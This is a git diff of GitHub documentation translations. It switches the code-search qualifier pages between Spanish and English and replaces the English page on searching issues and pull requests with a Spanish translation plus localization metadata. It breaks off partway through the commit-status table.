Example | ------------- | ------------- -| language:LANGUAGE | [**element language:xml size:100**](https://github.com/search?q=element+language%3Axml+size%3A100&type=Code) coincide con el código con la palabra "element" que se marca como XML y tiene exactamente 100 bytes. -| | [**display language:scss**](https://github.com/search?q=display+language%3Ascss&type=Code) coincide con el código con la palabra "display", que se marca como SCSS. -| | [**org:mozilla language:Markdown**](https://github.com/search?utf8=%E2%9C%93&q=org%3Amozilla+language%3Amarkdown&type=Code) coincide con el código de todos los repositorios de @mozilla marcados como Markdown. +| language:LANGUAGE | [**element language:xml size:100**](https://github.com/search?q=element+language%3Axml+size%3A100&type=Code) matches code with the word "element" that's marked as being XML and has exactly 100 bytes. +| | [**display language:scss**](https://github.com/search?q=display+language%3Ascss&type=Code) matches code with the word "display," that's marked as being SCSS. +| | [**org:mozilla language:markdown**](https://github.com/search?utf8=%E2%9C%93&q=org%3Amozilla+language%3Amarkdown&type=Code) matches code from all @mozilla's repositories that's marked as Markdown. -## Buscar por tamaño de archivo +## Search by file size -Puede utilizar el calificador `size` para buscar código fuente en base al tamaño del archivo donde existe el código. El calificador `size` usa [calificadores mayor que, menor que y de rango](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) para filtrar los resultados en función del tamaño en bytes del archivo en el que se encuentra el código. +You can use the `size` qualifier to search for source code based on the size of the file where the code exists. The `size` qualifier uses [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to filter results based on the byte size of the file in which the code is found. -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| size:n | [**function size:>10000 language:python**](https://github.com/search?q=function+size%3A%3E10000+language%3Apython&type=Code) coincide con el código con la palabra "function", escrita en Python, en archivos que tienen más de 10 KB. +| size:n | [**function size:>10000 language:python**](https://github.com/search?q=function+size%3A%3E10000+language%3Apython&type=Code) matches code with the word "function," written in Python, in files that are larger than 10 KB. -## Buscar por nombre de archivo +## Search by filename -El calificador `filename` coincide con archivos de código con un determinado nombre de archivo. También puedes encontrar un archivo en un repositorio utilizando el buscador de archivo. Para obtener más información, vea "[Buscar archivos en GitHub](/search-github/searching-on-github/finding-files-on-github)". +The `filename` qualifier matches code files with a certain filename. You can also find a file in a repository using the file finder. For more information, see "[Finding files on GitHub](/search-github/searching-on-github/finding-files-on-github)." -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| filename:FILENAME | [**filename:linguist**](https://github.com/search?utf8=%E2%9C%93&q=filename%3Alinguist&type=Code) coincide con los archivos denominados "linguist". -| | [**los comandos filename:.vimrc**](https://github.com/search?q=filename%3A.vimrc+commands&type=Code) coinciden con los archivos *.vimrc* con la palabra "commands". -| | [**filename:test_helper path:test language:ruby**](https://github.com/search?q=minitest+filename%3Atest_helper+path%3Atest+language%3Aruby&type=Code) coincide con los archivos Ruby denominados *test_helper* en el directorio de *prueba*. +| filename:FILENAME | [**filename:linguist**](https://github.com/search?utf8=%E2%9C%93&q=filename%3Alinguist&type=Code) matches files named "linguist." +| | [**filename:.vimrc commands**](https://github.com/search?q=filename%3A.vimrc+commands&type=Code) matches *.vimrc* files with the word "commands." +| | [**filename:test_helper path:test language:ruby**](https://github.com/search?q=minitest+filename%3Atest_helper+path%3Atest+language%3Aruby&type=Code) matches Ruby files named *test_helper* within the *test* directory. -## Buscar por extensión de archivo +## Search by file extension -El calificador `extension` coincide con archivos de código con una determinada extensión de archivo. +The `extension` qualifier matches code files with a certain file extension. -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| extension:EXTENSION | [**form path:cgi-bin extension:pm**](https://github.com/search?q=form+path%3Acgi-bin+extension%3Apm&type=Code) coincide con el código con la palabra "form", en cgi-bin, con la extensión de archivo .pm. -| | [**icon size:>200000 extension:css**](https://github.com/search?utf8=%E2%9C%93&q=icon+size%3A%3E200000+extension%3Acss&type=Code) coincide con los archivos de más de 200 KB que terminan en .css y tienen la palabra "icon". +| extension:EXTENSION | [**form path:cgi-bin extension:pm**](https://github.com/search?q=form+path%3Acgi-bin+extension%3Apm&type=Code) matches code with the word "form," under cgi-bin, with the .pm file extension. +| | [**icon size:>200000 extension:css**](https://github.com/search?utf8=%E2%9C%93&q=icon+size%3A%3E200000+extension%3Acss&type=Code) matches files larger than 200 KB that end in .css and have the word "icon." -## Información adicional +## Further reading -- "[Ordenar los resultados de la búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" -- "[Buscar bifurcaciones](/search-github/searching-on-github/searching-in-forks)"{% ifversion fpt or ghec %} -- "[Navegar por el código en {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/navigating-code-on-github)"{% endif %} +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)"{% ifversion fpt or ghec %} +- "[Navigating code on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/navigating-code-on-github)"{% endif %} diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 71105cabcd..211e9d1160 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -1,6 +1,6 @@ --- -title: Searching issues and pull requests -intro: 'You can search for issues and pull requests on {% data variables.product.product_name %} and narrow the results using these search qualifiers in any combination.' +title: Buscar propuestas y solicitudes de extracción +intro: 'Puedes buscar propuestas y solicitudes de extracción en {% data variables.product.product_name %} y acotar los resultados utilizando estos calificadores de búsqueda en cualquier combinación.' redirect_from: - /articles/searching-issues - /articles/searching-issues-and-pull-requests @@ -14,344 +14,346 @@ versions: topics: - GitHub search shortTitle: Search issues & PRs +ms.openlocfilehash: 8565d2d31c66291114da8ab4a95312a568d39ae3 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106465' --- -You can search for issues and pull requests globally across all of {% data variables.product.product_name %}, or search for issues and pull requests within a particular organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." +Puedes buscar propuestas y solicitudes de extracción globalmente a través de todos los {% data variables.product.product_name %}, o buscar propuestas y solicitudes de extracción dentro de una organización particular. Para más información, vea "[Acerca de la búsqueda en {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". {% tip %} -**Tips:**{% ifversion ghes or ghae %} - - This article contains example searches on the {% data variables.product.prodname_dotcom %}.com website, but you can use the same search filters on {% data variables.location.product_location %}.{% endif %} - - For a list of search syntaxes that you can add to any search qualifier to further improve your results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". - - Use quotations around multi-word search terms. For example, if you want to search for issues with the label "In progress," you'd search for `label:"in progress"`. Search is not case sensitive. +**Sugerencias:** {% ifversion ghes or ghae %} + - Este artículo contiene búsquedas de ejemplo en el sitio web {% data variables.product.prodname_dotcom %}.com, pero puedes usar los mismos filtros de búsqueda en {% data variables.location.product_location %}.{% endif %} + - Para obtener una lista de sintaxis de búsqueda que pueda agregar a cualquier calificador de búsqueda para mejorar aún más los resultados, vea "[Descripción de la sintaxis de búsqueda](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)". + - Utiliza comillas alrededor de los términos de búsqueda que contengan varias palabras. Por ejemplo, si quiere buscar incidencias con la etiqueta "En curso", tendría que buscar `label:"in progress"`. Buscar no distingue entre mayúsculas y minúsculas. - {% data reusables.search.search_issues_and_pull_requests_shortcut %} {% endtip %} -## Search only issues or pull requests +## Buscar únicamente propuestas o solicitudes de extracción -By default, {% data variables.product.product_name %} search will return both issues and pull requests. However, you can restrict search results to just issues or pull requests using the `type` or `is` qualifier. +Por defecto, la búsqueda de {% data variables.product.product_name %} devolverá tanto propuestas como solicitudes de extracción. Pero puede restringir los resultados de la búsqueda solo a incidencias o solicitudes de incorporación de cambios mediante el calificador `type` o `is`. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) matches pull requests with the word "cat." -| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) matches issues that contain the word "github," and have a comment by @defunkt. -| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) matches pull requests with the word "event." -| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) matches closed issues with the label "bug." +| `type:pr` | [**cat type:pr**](https://github.com/search?q=cat+type%3Apr&type=Issues) coincide con las solicitudes de incorporación de cambios con la palabra "cat". +| `type:issue` | [**github commenter:defunkt type:issue**](https://github.com/search?q=github+commenter%3Adefunkt+type%3Aissue&type=Issues) coincide con las incidencias que contienen la palabra "github" y tienen un comentario de @defunkt. +| `is:pr` | [**event is:pr**](https://github.com/search?utf8=%E2%9C%93&q=event+is%3Apr&type=) coincide con las solicitudes de incorporación de cambios con la palabra "event". +| `is:issue` | [**is:issue label:bug is:closed**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aissue+label%3Abug+is%3Aclosed&type=) coincide con incidencias cerradas con la etiqueta "bug". -## Search by the title, body, or comments +## Buscar por título, cuerpo o comentarios -With the `in` qualifier you can restrict your search to the title, body, comments, or any combination of these. When you omit this qualifier, the title, body, and comments are all searched. +Con el calificador `in` puede restringir la búsqueda al título, cuerpo, comentarios o cualquier combinación de estos valores. Cuando omites este calificador, se buscan el título, el cuerpo y los comentarios, todos ellos. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) matches issues with "warning" in their title. -| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) matches issues with "error" in their title or body. -| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) matches issues mentioning "shipit" in their comments. +| `in:title` | [**warning in:title**](https://github.com/search?q=warning+in%3Atitle&type=Issues) coincide con incidencias que contienen "warning" en el título. +| `in:body` | [**error in:title,body**](https://github.com/search?q=error+in%3Atitle%2Cbody&type=Issues) coincide con incidencias que contienen "error" en el título o el cuerpo. +| `in:comments` | [**shipit in:comments**](https://github.com/search?q=shipit+in%3Acomment&type=Issues) coincide con incidencias que mencionan "shipit" en sus comentarios. -## Search within a user's or organization's repositories +## Buscar dentro de los repositorios de un usuario u organización -To search issues and pull requests in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search issues and pull requests in a specific repository, you can use the `repo` qualifier. +Para buscar incidencias o solicitudes de incorporación de cambios en todos los repositorios que son propiedad de una determinada organización o usuario, puede usar el calificador `user` o `org`. Para buscar incidencias y solicitudes de incorporación de cambios en un repositorio concreto, puede usar el calificador `repo`. {% data reusables.pull_requests.large-search-workaround %} -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt. -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization. -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012. +| user:USERNAME | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) coincide con las incidencias con la palabra "ubuntu" de repositorios propiedad de @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) coincide con las incidencias de repositorios que pertenecen a la organización de GitHub. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) coincide con las incidencias del proyecto shumway de @mozilla creadas antes de marzo de 2012. -## Search by open or closed state +## Buscar por estado abierto o cerrado -You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier. +Puede filtrar incidencias y solicitudes de incorporación de cambios en función de si están abiertas o cerradas mediante el calificador `state` o `is`. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries." -| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body. -| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance." -| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android." +| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) coincide con las incidencias abiertas en las que se menciona @vmg con la palabra "libraries". +| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) coincide con incidencias cerradas que contienen la palabra "design" en el cuerpo. +| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) coincide con incidencias abiertas que contienen la palabra "performance". +| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) coincide con incidencias cerradas y solicitudes de incorporación de cambios con la palabra "android". {% ifversion issue-close-reasons %} -## Search by the reason an issue was closed +## Buscar por el motivo por el que se cerró una incidencia -You can filter issues based on the reason given when the issue was closed, using the `reason` qualifier. +Puedes filtrar las incidencias en función del motivo que se dio al cerrarlas mediante el calificador `reason`. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `reason:completed` | [**libraries is:closed reason:completed**](https://github.com/search?q=libraries+is%3Aclosed+reason%3Acompleted&type=Issues) matches issues with the word "libraries" that were closed as "completed." -| `reason:"not planned"` | [**libraries is:closed reason:"not planned"**](https://github.com/search?q=libraries+is%3Aclosed+reason%3A%22not+planned%22&type=Issues) matches issues with the word "libraries" that were closed as "not planned." +| `reason:completed` | [**libraries is:closed reason:completed**](https://github.com/search?q=libraries+is%3Aclosed+reason%3Acompleted&type=Issues) coincide con las incidencias con la palabra "libraries" que se cerraron como "completed". +| `reason:"not planned"` | [**libraries is:closed reason:"not planned"**](https://github.com/search?q=libraries+is%3Aclosed+reason%3A%22not+planned%22&type=Issues) coincide con las incidencias con la palabra "libraries" que se cerraron como "not planned". {% endif %} -## Filter by repository visibility +## Filtrar por visibilidad de repositorio -You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +Puede filtrar por la visibilidad del repositorio que contenga las incidencias y solicitudes de incorporación de cambios con el calificador `is`. Para más información, vea "[Acerca de los repositorios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". -| Qualifier | Example -| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} -| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} -| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. +| Calificador | Ejemplo | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios en repositorios públicos.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios en repositorios internos.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios que contienen la palabra "cupcake" en repositorios privados a los que puede acceder. -## Search by author +## Buscar por autor -The `author` qualifier finds issues and pull requests created by a certain user or integration account. +El calificador `author` busca incidencias y solicitudes de incorporación de cambios creadas por un usuario o cuenta de integración determinados. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian. -| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body. -| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot." +| author:USERNAME | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) coincide con incidencias y solicitudes de incorporación de cambios con la palabra "cool" creadas por @gjtorikian. +| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) coincide con las incidencias escritas por @mdo que contienen la palabra "bootstrap" en el cuerpo. +| author:app/USERNAME | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) coincide con las incidencias creadas por la cuenta de integración denominada "robot". -## Search by assignee +## Buscar por asignatario -The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata). +El calificador `assignee` busca incidencias y solicitudes de incorporación de cambios que se han asignado a un usuario determinado. No puede buscar incidencias ni solicitudes de incorporación de cambios que tengan _usuarios asignados_, pero puede buscar [incidencias y solicitudes de incorporación de cambios que no tengan usuarios asignados](#search-by-missing-metadata). -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg. +| assignee:USERNAME | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) coincide con las incidencias y solicitudes de incorporación de cambios en el proyecto libgit2 asignadas a @vmg. -## Search by mention +## Buscar por mención -The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)." +El calificador `mentions` busca incidencias en las que se menciona a un usuario determinado. Para más información, vea "[Mención de personas y equipos](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)". -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| mentions:USERNAME | [**`resque mentions:defunkt`**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt. +| mentions:USERNAME | [ **`resque mentions:defunkt`**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) coincide con incidencias con la palabra "resque" en las que se menciona a @defunkt. -## Search by team mention +## Buscar por mención de equipo -For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search. +Para las organizaciones y los equipos a los que pertenezca, puede usar el calificador `team` para buscar incidencias y solicitudes de incorporación de cambios en las que @mention a un equipo concreto dentro de esa organización. Reemplaza estos nombres de ejemplo con el nombre de tu organización y equipo para realizar una búsqueda. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| team:ORGNAME/TEAMNAME | **`team:jekyll/owners`** matches issues where the `@jekyll/owners` team is mentioned. -| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned. +| team:ORGNAME/TEAMNAME | **`team:jekyll/owners`** coincide con las incidencias en las que se menciona al equipo `@jekyll/owners`. +| | **team:myorg/ops is:open is:pr** coincide con las solicitudes de incorporación de cambios abiertas en las que se menciona al equipo `@myorg/ops`. -## Search by commenter +## Buscar por comentarista -The `commenter` qualifier finds issues that contain a comment from a certain user. +El calificador `commenter` busca incidencias que contienen un comentario de un usuario concreto. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt. +| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) coincide con las incidencias de repositorios propiedad de GitHub, que contienen la palabra "github" y que tienen un comentario de @defunkt. -## Search by a user that's involved in an issue or pull request +## Buscar por usuario que participa en una propuesta o solicitud de extracción -You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user. +Puede usar el calificador `involves` para buscar incidencias que, de alguna manera, implican a un usuario concreto. El calificador `involves` es un OR lógico entre los calificadores `author`, `assignee`, `mentions` y `commenter` para un único usuario. En otras palabras, este calificador encuentra propuestas y solicitudes de extracción que fueron creadas por un determinado usuario, asignadas a ese usuario, que lo mencionan o que fueron comentadas por ese usuario. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in. -| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body. +| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** coincide con incidencias en las que están implicados @defunkt o @jlord. +| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) coincide con incidencias en las que está implicado @mdo que no contienen la palabra "bootstrap" en el cuerpo. -## Search for linked issues and pull requests -You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close. +## Buscar reportes de problemas y solicitudes de extracción enlazados +Puedes acotar tus resultados para que solo incluyan informes de problemas que se enlazaron con solicitudes de extracción con una referencia cerrada, o solicitudes de extracción que se enlazaron a un informe de problemas que se pueden cerrar con otra solicitud de extracción. -| Qualifier | Example | +| Calificador: | Ejemplo | | ------------- | ------------- | -| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. | -| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. | -| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. | -| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. | +| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) coincide con incidencias abiertas en el repositorio `desktop/desktop` que están vinculadas a una solicitud de incorporación de cambios mediante una referencia de cierre. | +| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) coincide con las solicitudes de incorporación de cambios cerradas en el repositorio `desktop/desktop` que estaban vinculadas a una incidencia que la solicitud de incorporación de cambios puede haber cerrado. | +| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) coincide con incidencias abiertas en el repositorio `desktop/desktop` que no están vinculadas a una solicitud de incorporación de cambios mediante una referencia de cierre. | +| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) coincide con las solicitudes de incorporación de cambios abiertas en el repositorio `desktop/desktop` que no están vinculadas a una incidencia que la solicitud de incorporación de cambios puede cerrar. | -## Search by label +## Buscar por etiqueta -You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue. +Puede restringir los resultados por etiquetas, mediante el calificador `label`. Ya que las propuestas pueden tener múltiples etiquetas, puedes enumerar un calificador separado para cada propuesta. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. -| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority." -| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved." -| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved." +| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) coincide con las incidencias que tienen la etiqueta "help wanted" y que están en los repositorios de Ruby. +| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) coincide con incidencias que contienen la palabra "broken" en el cuerpo, que carecen de la etiqueta "bug", pero *tienen* la etiqueta "priority". +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) coincide con las incidencias con las etiquetas "bug" y "resolved". +| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) coincide con incidencias con las etiquetas "bug" o "resolved". -## Search by milestone +## Buscar por hito -The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository. +El calificador `milestone` busca incidencias o solicitudes de incorporación de cambios que forman parte de un [hito](/articles/about-milestones) dentro de un repositorio. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul." -| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix." +| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) coincide con las incidencias que se encuentran en un hito denominado "overhaul". +| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) coincide con las incidencias que se encuentran en un hito denominado "bug fix". -## Search by project board +## Buscar por tablero de proyecto -You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL. +Puede usar el calificador `project` para buscar incidencias asociadas a un [panel de proyecto](/articles/about-project-boards/) específico en un repositorio u organización. Debes buscar tableros de proyecto por el número del tablero de proyecto. Puedes encontrar el número del tablero de proyecto al final de la URL de cada tablero de proyecto. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| project:PROJECT_BOARD | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57. -| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository. +| project:PROJECT_BOARD | **project:github/57** coincide con incidencias propiedad de GitHub que están asociadas con el panel de proyecto 57 de la organización. +| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** coincide con las incidencias asociadas con el panel de proyecto 1 en el repositorio lingüista de @github. -## Search by commit status +## Buscar por estado de confirmación -You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/commits#commit-statuses) or a CI service. +Puedes filtrar solicitudes de extracción en base al estado de las confirmaciones. Esto es especialmente útil si usa [Status API](/rest/reference/commits#commit-statuses) o un servicio de CI. -| Qualifier | Example +| Calificador: | Ejemplo | ------------- | ------------- -| `status:pending` | [**language:go 